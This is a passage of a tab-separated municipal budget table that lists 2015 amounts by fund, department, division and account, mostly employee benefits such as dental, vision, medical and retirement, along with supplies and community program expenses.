14614	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522950.0	CNG FUEL		 Supplies and Expenses	2015	849.0	0	0	0	0	0	0.0	0	0	0	0	0.0	849.0
14615	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2015	1538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1538.0
14616	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	3077.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3077.0
14617	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
14618	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	560000.0	COMMUNITY DEVELOPMENT PROGRAM	810.0	 Supplies and Expenses	2015	2.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2.0
14619	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561133.0	OPCC-DAYBREAK DAY CTR-GEN FND		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14620	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561171.0	EMERGENCY FOOD DISTRIBUTION		 Supplies and Expenses	2015	105566.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105566.0
14621	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563122.0	ADULT DAY CARE		 Supplies and Expenses	2015	132742.0	0	0	0	0	0	0.0	0	0	0	0	0.0	132742.0
14622	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2015	30090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30090.0
14623	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511748.0	DENTAL	806.0	Salaries and Wages	2015	126351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	126351.0
14624	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14625	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511748.0	DENTAL	806.0	Salaries and Wages	2015	113177.0	0	0	0	0	0	0.0	0	0	0	0	0.0	113177.0
14626	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511749.0	VISION	806.0	Salaries and Wages	2015	2191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2191.0
14627	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511749.0	VISION	806.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
14628	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511749.0	VISION	804.0	Salaries and Wages	2015	1164.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1164.0
14629	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511749.0	VISION	804.0	Salaries and Wages	2015	728.0	0	0	0	0	0	0.0	0	0	0	0	0.0	728.0
14630	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511749.0	VISION	816.0	Salaries and Wages	2015	1162.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1162.0
14631	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511749.0	VISION	816.0	Salaries and Wages	2015	3080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3080.0
14632	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511749.0	VISION	808.0	Salaries and Wages	2015	3962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3962.0
14633	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	20683.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20683.0
14634	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	1316.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1316.0
14635	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	4235.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4235.0
14636	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	9563.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9563.0
14637	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	29878.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29878.0
14638	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2015	5272.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5272.0
14639	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	52639.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52639.0
14640	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	38848.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38848.0
14641	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2015	1189.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1189.0
14642	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	16085.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16085.0
14643	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561139.0	OPCC INTERIM HOUSING & WELLNES		 Supplies and Expenses	2015	843267.0	0	0	0	0	0	0.0	0	0	0	0	0.0	843267.0
14644	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562131.0	CIVIC CENTER MED-YOUTH PEER ME		 Supplies and Expenses	2015	52888.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52888.0
14645	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562332.0	GROWING PLACE-MPCDC		 Supplies and Expenses	2015	171201.0	0	0	0	0	0	0.0	0	0	0	0	0.0	171201.0
14646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562361.0	ST JOE-FAM SELF SUF PRG-GEN FD		 Supplies and Expenses	2015	169048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	169048.0
14647	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563112.0	HEALTH CARE FOR SENIORS		 Supplies and Expenses	2015	108810.0	0	0	0	0	0	0.0	0	0	0	0	0.0	108810.0
14648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564132.0	INDEPENDENT LIVING SERVICE		 Supplies and Expenses	2015	165771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	165771.0
14649	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	12546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12546.0
14650	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511748.0	DENTAL	816.0	Salaries and Wages	2015	3660.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3660.0
14651	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511749.0	VISION	816.0	Salaries and Wages	2015	868.0	0	0	0	0	0	0.0	0	0	0	0	0.0	868.0
14652	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511748.0	DENTAL	816.0	Salaries and Wages	2015	10836.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10836.0
14653	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511748.0	DENTAL	808.0	Salaries and Wages	2015	5328.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5328.0
14654	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511748.0	DENTAL	808.0	Salaries and Wages	2015	26372.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26372.0
14655	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511749.0	VISION	810.0	Salaries and Wages	2015	1169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1169.0
14656	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511747.0	CASH-IN-LIEU	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14657	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2015	1316.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1316.0
14658	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	882.0
14659	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	2259.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2259.0
14660	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511749.0	VISION	812.0	Salaries and Wages	2015	1610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1610.0
14661	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	80929.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80929.0
14662	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	137779.0	0	0	0	0	0	0.0	0	0	0	0	0.0	137779.0
14663	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	63533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63533.0
14664	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	111637.0	0	0	0	0	0	0.0	0	0	0	0	0.0	111637.0
14665	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511748.0	DENTAL	806.0	Salaries and Wages	2015	91740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	91740.0
14666	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511749.0	VISION	806.0	Salaries and Wages	2015	1911.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1911.0
14667	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2015	1169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1169.0
14668	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14669	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14670	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	1022.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1022.0
14671	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	1009.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1009.0
14672	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	12278.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12278.0
14673	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2015	8708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8708.0
14674	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2015	31431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31431.0
14675	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511749.0	VISION	816.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
14676	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511748.0	DENTAL	816.0	Salaries and Wages	2015	6780.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6780.0
14677	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511748.0	DENTAL	810.0	Salaries and Wages	2015	8270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8270.0
14678	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2015	9938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9938.0
14679	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	6833.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6833.0
14680	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2015	168.0	0	0	0	0	0	0.0	0	0	0	0	0.0	168.0
14681	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	127403.0	0	0	0	0	0	0.0	0	0	0	0	0.0	127403.0
14682	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	42369.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42369.0
14683	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	8780.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8780.0
14684	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	185693.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185693.0
14685	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14686	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	76109.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76109.0
14687	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	118730.0	0	0	0	0	0	0.0	0	0	0	0	0.0	118730.0
14688	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	61879.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61879.0
14689	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	230096.0	0	0	0	0	0	0.0	0	0	0	0	0.0	230096.0
14690	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	161651.0	0	0	0	0	0	0.0	0	0	0	0	0.0	161651.0
14691	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	144928.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144928.0
14692	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	118954.0	0	0	0	0	0	0.0	0	0	0	0	0.0	118954.0
14693	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	1241330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1241330.0
14694	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	2869257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2869257.0
14695	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2015	4169040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4169040.0
14696	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	17490.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17490.0
14697	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	265169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	265169.0
14698	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	26410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26410.0
14699	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	467908.0	0	0	0	0	0	0.0	0	0	0	0	0.0	467908.0
14700	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	212260.0	0	0	0	0	0	0.0	0	0	0	0	0.0	212260.0
14701	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	130283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130283.0
14702	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	149636.0	0	0	0	0	0	0.0	0	0	0	0	0.0	149636.0
14703	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14704	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511749.0	VISION	812.0	Salaries and Wages	2015	1610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1610.0
14705	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2015	22982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22982.0
14706	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2015	15443.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15443.0
14707	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511748.0	DENTAL	840.0	Salaries and Wages	2015	24718.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24718.0
14708	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	1127821.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1127821.0
14709	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	599160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	599160.0
14710	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	116750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	116750.0
14711	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2015	14020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14020.0
14712	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DCAP	804.0	Salaries and Wages	2015	574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	574.0
14713	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		SAFETY EXPENSES		 Supplies and Expenses	2015	33658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33658.0
14714	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2015	166224.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166224.0
14715	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2015	353444.0	0	0	0	0	0	0.0	0	0	0	0	0.0	353444.0
14716	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2015	41060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41060.0
14717	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	249305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	249305.0
14718	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	26410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26410.0
14719	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	6847.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6847.0
14720	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400740.0	OTHER FINES / FORFEITURES	614.0	Fines and Forfeitures	2015	-35000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35000.0
14721	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400.0
14722	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	3060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3060.0
14723	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	5903.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5903.0
14724	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	6219.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6219.0
14725	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2015	10898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10898.0
14726	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14727	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	4763.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4763.0
14728	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	1576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1576.0
14729	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2015	84445.0	0	0	0	0	0	0.0	0	0	0	0	0.0	84445.0
14730	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511749.0	VISION	840.0	Salaries and Wages	2015	3199.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3199.0
14731	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2015	137296.0	0	0	0	0	0	0.0	0	0	0	0	0.0	137296.0
14732	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2015	3994.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3994.0
14733	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EAP	804.0	Salaries and Wages	2015	833.0	0	0	0	0	0	0.0	0	0	0	0	0.0	833.0
14734	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	681.0	0	0	0	0	0	0.0	0	0	0	0	0.0	681.0
14735	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5519.0
14736	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	11329.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11329.0
14737	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		UNEMPLOYMENT	804.0	Salaries and Wages	2015	34474.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34474.0
14738	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	7807.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7807.0
14739	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5189.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5189.0
14740	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14741	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DCAP	804.0	Salaries and Wages	2015	3024.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3024.0
14742	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	49496.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49496.0
14743	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2015	646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	646.0
